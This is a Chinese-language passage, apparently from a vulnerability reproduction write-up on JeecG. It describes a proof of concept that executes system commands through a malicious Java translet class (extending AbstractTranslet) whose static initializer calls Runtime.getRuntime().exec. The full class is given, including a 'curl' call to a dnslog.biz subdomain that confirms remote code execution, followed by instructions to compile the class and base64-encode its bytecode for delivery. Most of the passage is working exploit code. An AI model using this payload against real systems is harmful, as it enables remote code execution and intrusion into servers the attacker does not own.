反编译poc里的字节码,可以看到是调用Runtime.getRuntime.exec来执行系统命令启动计算器:
发送poc,可以看到成功调用了计算器
DNSLog验证
使用https://dnslog.org/获得一个域名:
jeecg.e7b700c1.log.dnslog.biz.
编写poc:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class test1 extends AbstractTranslet {
public test1() {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
try {
Runtime.getRuntime().exec("curl jeecg.e7b700c1.log.dnslog.biz.");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
javac编译,然后base64编码字节码:
